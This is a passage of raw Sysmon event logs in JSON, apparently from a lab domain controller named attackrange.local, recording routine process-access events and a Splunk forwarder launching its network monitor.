RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2154,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2155,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2156,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2157,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2158,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2159,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FEC-5F2D-0000-00104C6A0300}\r\nTargetProcessId: 3720\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FEC-5F2D-0000-00104C6A0300}","TargetProcessId":"3720","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2160,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.734\r\nSourceProcessGUID: {90617006-3FEC-5F2D-0000-00104C6A0300}\r\nSourceProcessId: 3720\r\nSourceThreadId: 3692\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.734","SourceProcessGUID":"{90617006-3FEC-5F2D-0000-00104C6A0300}","SourceProcessId":"3720","SourceThreadId":"3692","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2161,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.270\r\nProcessGuid: {90617006-3FED-5F2D-0000-00102F6C0300}\r\nProcessId: 3736\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Network monitor\r\nProduct: Splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-netmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.270","ProcessGuid":"{90617006-3FED-5F2D-0000-00102F6C0300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","FileVersion":"8.0.2","Description":"Network monitor","Product":"Splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-netmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2162,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FED-5F2D-0000-00102F6C0300}\r\nTargetProcessId: 3736\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program 